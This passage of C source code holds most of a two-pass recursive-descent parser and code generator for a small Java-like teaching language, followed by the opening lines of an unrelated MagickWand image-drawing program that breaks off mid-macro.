get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case CLASS: is_empty_file = false; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <prog> -> CLASS MAIN LEFT_VINCULUM STATIC VOID RUN LEFT_BRACKET RIGHT_BRACKET LEFT_VINCULUM <st-list> RIGHT_VINCULUM <prog> case MAIN: if( st_find(tabulka,token_data) != NULL ) return ER_SEM; current_class = st_add(tabulka, token_data); current_class->elem_type = ST_ELEMTYPE_CLASS; current_class->declared = 1; current_class->initialized = 1; current_class->is_global = 1; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if( (result = class_dec()) != ER_OK) return result; if(run_counter != 1) return ER_SEM; //error number 3 not defined RUN function in main if( (result = program()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 2) <prog> -> CLASS ID LEFT_VINCULUM <class-dec> <prog> // declaration of class case ID: if( st_find(tabulka,token_data) != NULL ) return ER_SEM; current_class = st_add(tabulka, token_data); current_class->elem_type = ST_ELEMTYPE_CLASS; current_class->declared = current_class->initialized = 1; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if( (result = class_dec()) != ER_OK) return result; if( (result = program()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; // 3) <prog> -> END_OF_FILE case END_OF_FILE: pruchod++; if (is_empty_file) return ER_SEM; return ER_OK; break; } return ER_SYNTAX; } //pruchod 2 else{ if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case CLASS: if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <prog> -> CLASS MAIN LEFT_VINCULUM STATIC VOID RUN LEFT_BRACKET RIGHT_BRACKET LEFT_VINCULUM <st-list> RIGHT_VINCULUM <prog> case MAIN: current_class = st_find(tabulka, "Main"); if (current_class == NULL) { return ER_INTERN; } else if (current_class->elem_type != ST_ELEMTYPE_CLASS) { return ER_INTERN; } /*if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM) if ( (token = get_next_token(&token_data)) != ER_LEX && token == STATIC) if ( (token = get_next_token(&token_data)) != ER_LEX && token == VOID) if ( (token = get_next_token(&token_data)) != ER_LEX && token == RUN){ if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET) if ( (token = get_next_token(&token_data)) != ER_LEX && token == RIGHT_BRACKET) if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if( (result = statement_list()) != ER_OK) return result; else if ( (token = get_next_token(&token_data)) != ER_LEX && token == RIGHT_VINCULUM){ if( (result = program()) != ER_OK) return result; else return ER_OK; } } }*/ if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if( (result = class_dec()) != ER_OK) return result; if( (result = program()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 2) <prog> -> CLASS ID LEFT_VINCULUM <class-dec> <prog> // declaration of class case ID: current_class = st_find(tabulka, token_data); if (current_class == NULL) return ER_INTERN; else if (current_class->elem_type != ST_ELEMTYPE_CLASS) return ER_INTERN; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if( (result = class_dec()) != ER_OK) return result; if( (result = program()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; // 3) <prog> -> END_OF_FILE case END_OF_FILE: pruchod++; return ER_OK; break; } return ER_SYNTAX; } } /*st-list>//function body 1) <st-list> -> RETURN <return-args> <st-list> //return in function 2) <st-list> -> WHILE LEFT_BRACKET <bool-expr> LEFT_VINCULUM <st-list> <st-list>//cycle while 3) <st-list> -> IF LEFT_BRACKET <bool-expr> LEFT_VINCULUM <st-list> ELSE LEFT_VINCULUM <st-list> <st-list> //if-else statement 4) <st-list> -> RIGHT_VINCULUM // end of sequence 6) <st-list> -> [INT/DOUBLE/SRING] ID [ SEMICOLON / ASSIGN <assign>] <st-list> 7) <st-list> -> ID <func_var>(we must give pointer to ID) <st-list> //it can be function call OR inicialization of var*/ int statement_list(){ int result; int prev_token; tListItem * label1; tListItem * label2; tListItem * temp_item_list; tListItem * temp_item_list_else; symtab_elem_t * local_item; //pruchod 1 if(pruchod == 0){ int bracket_counter=0; while(bracket_counter != -1){ if( (token = get_next_token(&token_data)) == ER_LEX) return ER_LEX; if (token == RIGHT_VINCULUM) bracket_counter--; else if (token == LEFT_VINCULUM) bracket_counter++; } return ER_OK; } //pruchod 2 else{ if ( (prev_token = token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <st-list> -> RETURN <return-args> <st-list> case RETURN: if((result = return_args()) != ER_OK) return result; if((result = statement_list()) != ER_OK) return result; else return ER_OK; break; // 2) <st-list> -> WHILE LEFT_BRACKET <bool-expr> LEFT_VINCULUM <st-list> <st-list> case WHILE: add_instr(IN_LABEL,NULL,NULL,NULL); //generate label for start of WHILE cyclus label1 = (tListItem *)listGetPointerLast(instr_list); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (result = bool_expr()) != ER_OK) return result; add_instr(IN_IFNGOTO,NULL,NULL,NULL); //IF FALSE GOTO end of WHILE cyclus temp_item_list = (tListItem *)listGetPointerLast(instr_list); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if ( (result = statement_list()) != ER_OK) return result; add_instr(IN_GOTO,NULL,NULL,&(label1->instruction)); // GOTO start of WHILE cyclus add_instr(IN_LABEL,NULL,NULL,NULL); //generate label for end of WHILE cyclus label2 = (tListItem *)listGetPointerLast(instr_list); temp_item_list->instruction.addr3 = &(label2->instruction); if ( (result = statement_list()) != ER_OK) return result; else return ER_OK; } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 3) <st-list> -> IF LEFT_BRACKET <bool-expr> LEFT_VINCULUM <st-list> ELSE LEFT_VINCULUM <st-list> <st-list> case IF: if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (result = bool_expr()) != ER_OK) return result; add_instr(IN_IFNGOTO,NULL,NULL,NULL); //IF FALSE GOTO ELSE branch temp_item_list = (tListItem *)listGetPointerLast(instr_list); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if ( (result = statement_list()) != ER_OK) return result; add_instr(IN_GOTO,NULL,NULL,NULL); // GOTO end of if-else statement temp_item_list_else = (tListItem *)listGetPointerLast(instr_list); if ( (token = get_next_token(&token_data)) != ER_LEX && token == ELSE) if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ add_instr(IN_LABEL,NULL,NULL,NULL); //generate label for start of ELSE branch label1 = (tListItem *)listGetPointerLast(instr_list); temp_item_list->instruction.addr3 = &(label1->instruction); if ( (result = statement_list()) != ER_OK) return result; add_instr(IN_LABEL,NULL,NULL,NULL); //generate label for end of if-else statement label2 = (tListItem *)listGetPointerLast(instr_list); temp_item_list_else->instruction.addr3 = &(label2->instruction); if ( (result = statement_list()) != ER_OK) return result; else return ER_OK; } } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 4) <st-list> -> RIGHT_VINCULUM case RIGHT_VINCULUM: return ER_OK; break; // 6) <st-list> -> [INT/DOUBLE/SRING] ID [ SEMICOLON / ASSIGN <assign>] <st-list> case INT: case DOUBLE: case STRING: if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID) { // nelze definovat lokalni promennou s teckou v nazvu if (strstr(token_data, ".") != NULL) return ER_SEM; if(st_find(local_tabulka,token_data) != NULL) return ER_SEM; local_item = item = st_add(local_tabulka, token_data); switch(prev_token){ case INT: item->data_type = ST_DATATYPE_INT; break; case DOUBLE: item->data_type = ST_DATATYPE_DOUBLE; break; case STRING: item->data_type = ST_DATATYPE_STRING; break; } item->declared = 1; item->initialized = 0; if ( (token = get_next_token(&token_data)) != ER_LEX && token == SEMICOLON){ item->elem_type = ST_ELEMTYPE_VAR; if( (result = statement_list()) != ER_OK){ return result; } else{ return ER_OK; } } else if(token == ASSIGN){ if( (result = assign()) != ER_OK ){ return result; } else{ add_instr(IN_MOVSTACK,NULL,NULL,(void*) local_item); if( (result = statement_list()) != ER_OK){ return result; } else{ return ER_OK; } } } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 7) <st-list> -> ID <func_var>(we must give pointer to ID) <st-list> case ID: if ( (result = func_var()) != ER_OK){ return result; } if ( (result = statement_list()) != ER_OK) return result; else return ER_OK; break; } return ER_SYNTAX; } return ER_SYNTAX; } // <func-params>//function DECLARATION + INIT // 1) <func-params> -> RIGHT_BRACKET // 2) <func-params> -> [INT/DOUBLE/SRING] ID <func-params-list> int func_params(){ if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; int result; int temp_token; switch(token){ // 1) <func-params> -> RIGHT_BRACKET case RIGHT_BRACKET: return ER_OK; break; // 2) <func-params> -> [INT/DOUBLE/SRING] ID <func-params-list> case INT: case DOUBLE: case STRING: temp_token = token; if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ //pridavame parametry jenom pri prvnim pruchodu if(pruchod == 0){ item = st_add(current_function->local_table,token_data); current_function->first_param = item; current_function->last_param = item; item->elem_type = ST_ELEMTYPE_PARAM; item->next_param = NULL; item->prev_param = NULL; item->declared = 1; switch(temp_token){ case INT: item->data_type = ST_DATATYPE_INT; break; case DOUBLE: item->data_type = ST_DATATYPE_DOUBLE; break; case STRING: item->data_type = ST_DATATYPE_STRING; break; } } if ( (result = func_params_list()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; } // <func-params-list> // 1) <func-params-list> -> RIGHT_BRACKET // 2) <func-params-list> -> COMMA [INT/DOUBLE/SRING] ID <func-params-list> int func_params_list(){ int result; int temp_token; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case RIGHT_BRACKET: return ER_OK; break; case COMMA: if ( (token = get_next_token(&token_data)) != ER_LEX && (token == INT || token == DOUBLE || token == STRING)){ temp_token = token; if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ if(pruchod == 0){ if(st_find(current_function->local_table,token_data) != NULL){ return ER_SEM;// error number 3 redefenition of defined variable } item = st_add(current_function->local_table,token_data); item->elem_type = ST_ELEMTYPE_PARAM; current_function->last_param->next_param = item; item->next_param = NULL; item->prev_param = current_function->last_param; current_function->last_param = item; item->declared = 1; switch(temp_token){ case INT: item->data_type = ST_DATATYPE_INT; break; case DOUBLE: item->data_type = ST_DATATYPE_DOUBLE; break; case STRING: item->data_type = ST_DATATYPE_STRING; break; } } if ( (result = func_params_list()) != ER_OK) return result; else return ER_OK; } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; } // <func_var> // 1) LEFT_BRACKET <func-args> SEMICOLON //its function call // 2) ASSIGN <assign> //its inicialization of var int func_var(){ int result; id = token_data; symtab_elem_t * local_item; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) LEFT_BRACKET <func-args> SEMICOLON //it's function call case LEFT_BRACKET: if( (item = st_find_global(tabulka, id, current_class->id)) == NULL) //if function not in symtab return ER_SEM; //error type 3 not declarated function called_function = item; if (called_function->elem_type == ST_ELEMTYPE_FUN) { // if normal function if ( (result = func_args()) != ER_OK) return result; } else if (called_function->elem_type == ST_ELEMTYPE_BUILTIN) { // if builtin function if (strcmp(called_function->id, "ifj16.print") == 0) { if ( (result = func_args_print()) != ER_OK) return result; } else { if ( (result = func_args()) != ER_OK) return result; } } else { // if not a function free(id); return ER_SEM; } add_instr(IN_CALL, NULL, NULL, (void *) called_function); // instruction for FUNCTION CALL if ( (token = get_next_token(&token_data)) != ER_LEX && token == SEMICOLON) return ER_OK; if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 2) ASSIGN <assign> //its inicialization of var case ASSIGN: if( (local_item = item = st_find(local_tabulka, id)) == NULL){ if( (local_item = item = st_find(tabulka, id)) == NULL){ if( (local_item = item = st_find(tabulka, id = str_conc(current_class->id, id))) == NULL){ free(id); return ER_SEM; //error type 3 not declarated var } else{ free(id); } } } if ( (result = assign()) != ER_OK) return result; else{ add_instr(IN_MOVSTACK,NULL,NULL,(void*) local_item); return ER_OK; } break; } return ER_SYNTAX; } // <return-args> // 1) <return-args> -> SEMICOLON (ONLY if we in VOID function) // 4) <return-args> -> <math-expr> SEMICOLON int return_args(){ int result; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <return-args> -> SEMICOLON (ONLY if we in VOID function) case SEMICOLON: if(current_function->data_type != ST_DATATYPE_VOID){ return ER_RUN_INIT ; //return nothing from non-VOID function //FIXME } add_instr(IN_RETURN, NULL, NULL, NULL); return ER_OK; break; default: if(current_function->data_type == ST_DATATYPE_VOID){ return 8; // return smth in void function } return_token(token, token_data); if( (result = math_expr(&type)) == ER_OK){ if(current_function->data_type == ST_DATATYPE_DOUBLE && type == ST_DATATYPE_INT){ add_instr(IN_CONV, NULL, NULL, NULL); type = ST_DATATYPE_DOUBLE; } if(current_function->data_type != (unsigned int)type){ return ER_SEM_TYPES; //return wrong type } else{ add_instr(IN_RETURN, NULL, NULL, NULL); } if(token == SEMICOLON){ return ER_OK; } else{ return ER_SYNTAX; } } else{ return result; } } return ER_SYNTAX; } // <assign> // 2) <assign> -> ID LEFT_BRACKET <func-args>(we MUST give pointer to funtion) SEMICOLON // 3) <assign> -> ID [SEMICOLON/ <math-expr>] // 4) <assign> -> <math-expr> SEMICOLON int assign(){ int result; int temp_token; char *temp_token_data; symtab_elem_t * temp_elem; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case ID: temp_token = token; temp_token_data = strdup(token_data); if( (temp_elem = st_find(local_tabulka,temp_token_data)) == NULL){ if( (temp_elem = st_find_global(tabulka,temp_token_data, current_class->id)) == NULL){ free(temp_token_data); return ER_SEM; //error type 3 not declarated var } } if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 2) <assign> -> ID LEFT_BRACKET <func-args> SEMICOLON //function call case LEFT_BRACKET: if(temp_elem->elem_type != ST_ELEMTYPE_FUN && temp_elem->elem_type != ST_ELEMTYPE_BUILTIN){ return ER_SEM; } called_function = temp_elem; if ( (result = func_args()) != ER_OK) return result; add_instr(IN_CALL, NULL, NULL, (void *) temp_elem); if ( (token = get_next_token(&token_data)) != ER_LEX && token == SEMICOLON) return ER_OK; if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 3) <assign> -> ID SEMICOLON case SEMICOLON: if(!(item->declared) || !(temp_elem->declared) || !(temp_elem->initialized) ) return ER_SEM; //error number 3 add_instr(IN_TAB_PUSH, (void *)temp_elem, NULL, NULL); switch(item->data_type){ case ST_DATATYPE_INT: if(temp_elem->data_type != ST_DATATYPE_INT) return 4; //type compatibility error item->initialized = 1; break; case ST_DATATYPE_DOUBLE: if(temp_elem->data_type != ST_DATATYPE_DOUBLE){ add_instr(IN_CONV,NULL, NULL, NULL); } item->initialized = 1; break; case ST_DATATYPE_STRING: if(temp_elem->data_type != ST_DATATYPE_STRING) return 4; //type compatibility error item->initialized = 1; break; default: return ER_SEM; } return ER_OK; break; // 3) <assign> -> ID ...-> <math-expr> default: return_token(token, token_data); return_token(temp_token, temp_token_data); result = math_expr(&type); if(result == ER_OK){ if(item->declared ){ switch(item->data_type){ case ST_DATATYPE_INT: if(type != ST_DATATYPE_INT) return 4; //type compatibility error break; case ST_DATATYPE_DOUBLE: if(type != ST_DATATYPE_DOUBLE){ add_instr(IN_CONV, NULL, NULL, NULL); } break; case ST_DATATYPE_STRING: if(type != ST_DATATYPE_STRING) return 4; //type compatibility error break; default: return ER_SEM; } item->initialized = 1; return ER_OK; } else return ER_SEM; //error type 3 } return result; } default: return_token(token, token_data); result = math_expr(&type); if (result != ER_OK) return result; if(item->declared ){ switch(item->data_type){ case ST_DATATYPE_INT: if(type != ST_DATATYPE_INT) return 4; //type compatibility error item->initialized = 1; break; case ST_DATATYPE_DOUBLE: if(type != ST_DATATYPE_DOUBLE){ add_instr(IN_CONV, NULL, NULL, NULL); } item->initialized = 1; break; case ST_DATATYPE_STRING: if(type != ST_DATATYPE_STRING) return 4; //type compatibility error item->initialized = 1; break; default: return ER_SEM; } item->initialized = 1; } else return ER_SEM; //error type 3 return result; } return ER_SYNTAX; } // <func-args>//function CALL // 1) <func-args> -> RIGHT_BRACKET // 2) <func-args> -> [ID/INT_LITERAL/DOUBLE_LITERAL/STRING_LITERAL] <func-args-list> int func_args(){ symtab_elem_t * temp_item; current_param = called_function->first_param; int result; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case RIGHT_BRACKET: return ER_OK; break; case ID: if( (temp_item = st_find(local_tabulka,token_data)) == NULL) { if( (temp_item = st_find_global(tabulka, token_data, current_class->id)) == NULL){ return ER_SEM; //error type 3 not declarated var } } add_instr(IN_TAB_PUSH,(void *)temp_item,NULL,NULL); //push function argument(ID) to stack //argument's type check if(current_param == NULL) return ER_SEM_TYPES; if (temp_item->data_type != current_param->data_type) { if (temp_item->data_type == ST_DATATYPE_INT && current_param->data_type == ST_DATATYPE_DOUBLE) add_instr(IN_CONV, NULL, NULL, NULL); else return ER_SEM_TYPES; } if ( (result = func_args_list()) != ER_OK) return result; else return ER_OK; break; case INT_LITERAL: case DOUBLE_LITERAL: case STRING_LITERAL: //argument's type check switch(token){ case INT_LITERAL: if(current_param == NULL || (ST_DATATYPE_INT != current_param->data_type)){ return ER_SEM_TYPES; //wrong parameter's type or number } add_instr(IN_VAL_PUSH, (void *)(unsigned long)int_from_token(token_data),NULL,NULL); //push function argument(const) to stack break; case DOUBLE_LITERAL: if(current_param == NULL || (ST_DATATYPE_DOUBLE != current_param->data_type)){ return ER_SEM_TYPES; //wrong parameter's type or number } add_instr(IN_VAL_PUSH, (void *)double_from_token(token_data),NULL,NULL); //push function argument(const) to stack break; case STRING_LITERAL: if(current_param == NULL || (ST_DATATYPE_STRING != current_param->data_type)){ return ER_SEM_TYPES; //wrong parameter's type or number } add_instr(IN_VAL_PUSH, (void *)string_from_token(token_data),NULL,NULL); //push function argument(const) to stack break; } if ( (result = func_args_list()) != ER_OK) return result; else return ER_OK; break; } return ER_SYNTAX; } // <func-args-print>//function CALL // 1) <func-args> -> STRING_CONCAT RIGHT_BRACKET int func_args_print(){ return string_concat(); } // <func-args-list> // 1) <func-args-list> -> RIGHT_BRACKET // 2) <func-args-list> -> COMMA [ID/INT_LITERAL/DOUBLE_LITERAL/STRING_LITERAL] <func-args-list> int func_args_list(){ symtab_elem_t * temp_item; int result; current_param = current_param->next_param; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case RIGHT_BRACKET: return ER_OK; break; case COMMA: if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case RIGHT_BRACKET: return ER_OK; break; case ID: if( (temp_item = st_find(local_tabulka,token_data)) == NULL) { if( (temp_item = st_find_global(tabulka, token_data, current_class->id)) == NULL){ return ER_SEM; //error type 3 not declarated var } } if (current_param == NULL) { return ER_SEM_TYPES; } add_instr(IN_TAB_PUSH,(void *)temp_item,NULL,NULL); //push function argument(ID) to stack if (temp_item->data_type != current_param->data_type) { if (temp_item->data_type == ST_DATATYPE_INT && current_param->data_type == ST_DATATYPE_DOUBLE) add_instr(IN_CONV, NULL, NULL, NULL); else return ER_SEM_TYPES; } if ( (result = func_args_list()) != ER_OK) return result; else return ER_OK; break; case INT_LITERAL: case DOUBLE_LITERAL: case STRING_LITERAL: //argument's type check switch(token){ case INT_LITERAL: if(current_param == NULL) { return ER_SEM_TYPES; //wrong parameter's number } add_instr(IN_VAL_PUSH, (void *)(unsigned long)int_from_token(token_data),NULL,NULL); //push function argument(const) to stack if(ST_DATATYPE_INT != current_param->data_type){ if (current_param->data_type == ST_DATATYPE_DOUBLE) add_instr(IN_CONV, NULL, NULL, NULL); else return ER_SEM_TYPES; } break; case DOUBLE_LITERAL: if(current_param == NULL || (ST_DATATYPE_DOUBLE != current_param->data_type)){ return ER_SEM_TYPES; //wrong parameter's type or number } add_instr(IN_VAL_PUSH, (void *)double_from_token(token_data),NULL,NULL); //push function argument(const) to stack break; case STRING_LITERAL: if(current_param == NULL || (ST_DATATYPE_STRING != current_param->data_type)){ return ER_SEM_TYPES; //wrong parameter's type or number } add_instr(IN_VAL_PUSH, (void *)string_from_token(token_data),NULL,NULL); //push function argument(const) to stack break; } if ( (result = func_args_list()) != ER_OK) return result; else return ER_OK; break; } return ER_SYNTAX; } return ER_SYNTAX; } // <class-dec> // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID \n // [SEMICOLON/ ASSIGN <math-expr>/LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> <class-dec>] <class-dec> // 2) <class-dec> -> RIGHT_VINCULUM // 3) <class-dec> -> STATIC VOID ID LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> <class-dec> int class_dec(){ int result; int prev_token; symtab_elem_t * find; char * temp_string; if(pruchod == 0){ if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case STATIC: if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case INT: case DOUBLE: case STRING: prev_token=token; if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ if( (find = st_find(tabulka,temp_string = str_conc(current_class->id,token_data))) != NULL){ if(find->declared == 1 || find->initialized == 1){ free(temp_string); return ER_SEM; //redeclaration of existing symbol } else{ free(temp_string); find->declared = 1; //(must NOT happen) if ID exist in global table but not declared and not initialized } } else{ item = st_add(tabulka,temp_string); item->declared = 1; item->is_global = true; } switch(prev_token){ case INT: item->data_type = ST_DATATYPE_INT; break; case DOUBLE: item->data_type = ST_DATATYPE_DOUBLE; break; case STRING: item->data_type = ST_DATATYPE_STRING; break; } if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID SEMICOLON <class-dec> case SEMICOLON: item->initialized = 0; item->elem_type = ST_ELEMTYPE_VAR; item->is_global = true; if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; break; // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID ASSIGN <math-expr> <class-dec> case ASSIGN: item->elem_type = ST_ELEMTYPE_VAR; if ( (result = math_expr(&type)) != ER_OK) return result; add_instr(IN_MOVSTACK, NULL, NULL, (void *) item); if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; break; // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> <class-dec> case LEFT_BRACKET: current_function = item; current_function->elem_type = ST_ELEMTYPE_FUN; current_function->is_global = true; st_init(&(current_function->local_table)); local_tabulka = current_function->local_table; if ( (result = func_params()) != ER_OK) return result; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ current_function->initialized = 1; if ( (result = statement_list()) != ER_OK) return result; if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 3) <class-dec> -> STATIC VOID ID LEFT_BRACKET <func-params> LEFT_VINCULUM <st-list> <class-dec> case VOID: if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ if( (find = st_find(tabulka,temp_string = str_conc(current_class->id,token_data))) != NULL){ if(find->declared == 1 || find->initialized == 1){ free(temp_string); return ER_SEM; //redeclaration of existing symbol } else{ free(temp_string); find->declared = 1; } } else{ current_function = st_add(tabulka,temp_string); current_function->elem_type = ST_ELEMTYPE_FUN; current_function->data_type = ST_DATATYPE_VOID; current_function->declared = 1; st_init(&(current_function->local_table)); local_tabulka = current_function->local_table; } id = token_data; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (result = func_params()) != ER_OK) return result; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ current_function->initialized = 1; if ( (result = statement_list()) != ER_OK) return result; if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } } } else if(token == RUN){ if(strcmp(current_class->id, "Main") == 0) run_counter++; if( (find = st_find(tabulka,temp_string = str_conc(current_class->id,token_data))) != NULL){ if(find->declared == 1 || find->initialized == 1){ free(temp_string); return ER_SEM; //redeclaration of existing symbol } else{ free(temp_string); find->declared = 1; current_function = find; local_tabulka = current_function->local_table; } } else{ current_function = st_add(tabulka,temp_string); current_function->elem_type = ST_ELEMTYPE_FUN; current_function->data_type = ST_DATATYPE_VOID; current_function->declared = 1; st_init(&(current_function->local_table)); local_tabulka = current_function->local_table; } id = token_data; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (token = get_next_token(&token_data)) != ER_LEX && token != RIGHT_BRACKET) return ER_SYNTAX; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ current_function->initialized = 1; if ( (result = statement_list()) != ER_OK) return result; if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; break; // 2) <class-dec> -> RIGHT_VINCULUM case RIGHT_VINCULUM: return ER_OK; break; } return ER_SYNTAX; } //pruchod 2 else{ local_tabulka = NULL; if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case STATIC: if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ case INT: case DOUBLE: case STRING: prev_token=token; if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ item = st_find(tabulka,temp_string = str_conc(current_class->id,token_data)); free(temp_string); if ( (token = get_next_token(&token_data)) == ER_LEX ) return ER_LEX; switch(token){ // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID SEMICOLON <class-dec> case SEMICOLON: if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; break; // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID ASSIGN <math-expr> <class-dec> case ASSIGN: if ( (result = math_expr(&type)) != ER_OK) return result; add_instr(IN_MOVSTACK,NULL,NULL,(void *)item); if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; break; // 1) <class-dec> -> STATIC [INT/DOUBLE/SRING] ID LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> <class-dec> case LEFT_BRACKET: if ( (result = func_params()) != ER_OK) return result; current_function = item; local_tabulka = current_function->local_table; set_function_beginning(&(current_function->first_instr)); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if ( (result = statement_list()) != ER_OK) return result; if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; // 3) <class-dec> -> STATIC VOID ID LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> <class-dec> case VOID: if ( (token = get_next_token(&token_data)) != ER_LEX && token == ID){ current_function = st_find(tabulka,temp_string = str_conc(current_class->id,token_data)); if (current_function == NULL) return ER_INTERN; local_tabulka = current_function->local_table; free(temp_string); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (result = func_params()) != ER_OK) return result; set_function_beginning(&(current_function->first_instr)); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if ( (result = statement_list()) != ER_OK) return result; add_instr(IN_RETURN,NULL,NULL,NULL); if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } } } else if(token == RUN){ current_function = st_find(tabulka,temp_string = str_conc(current_class->id,token_data)); local_tabulka = current_function->local_table; free(temp_string); if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_BRACKET){ if ( (token = get_next_token(&token_data)) != ER_LEX && token != RIGHT_BRACKET) return ER_SYNTAX; if ( (token = get_next_token(&token_data)) != ER_LEX && token == LEFT_VINCULUM){ if ( (result = statement_list()) != ER_OK) return result; add_instr(IN_RETURN,NULL,NULL,NULL); if ( (result = class_dec()) != ER_OK) return result; else return ER_OK; } } } if(token == ER_LEX) return ER_LEX; return ER_SYNTAX; break; } return ER_SYNTAX; break; // 2) <class-dec> -> RIGHT_VINCULUM case RIGHT_VINCULUM: return ER_OK; break; } return ER_SYNTAX; } }
C
/*-----------------------------------------------------------------------------------------------*/ /* Draw Vector and Generate Image */ /*-----------------------------------------------------------------------------------------------*/ /*-----------------------------------------------------------------------------------------------*/ /* After the MagickWand's image sequence's image format has been set with MagickSetImageFormat() */ /* MagickGetImageBlob() fails if the images in the MagickWand's image sequence have no image */ /* formats or filenames set. */ /* The API does not seem to automatically recognize and use the MagickWand's image format as */ /* the required parent / output format. */ /*-----------------------------------------------------------------------------------------------*/ /*-----------------------------------------------------------------------------------------------*/ /* Inculde Files */ /*-----------------------------------------------------------------------------------------------*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <wand/magick_wand.h> #include <magick/api.h> /*-----------------------------------------------------------------------------------------------*/ /* Defined Macros */ /*-----------------------------------------------------------------------------------------------*/ #define CHECK_WAND_ERROR( wand, 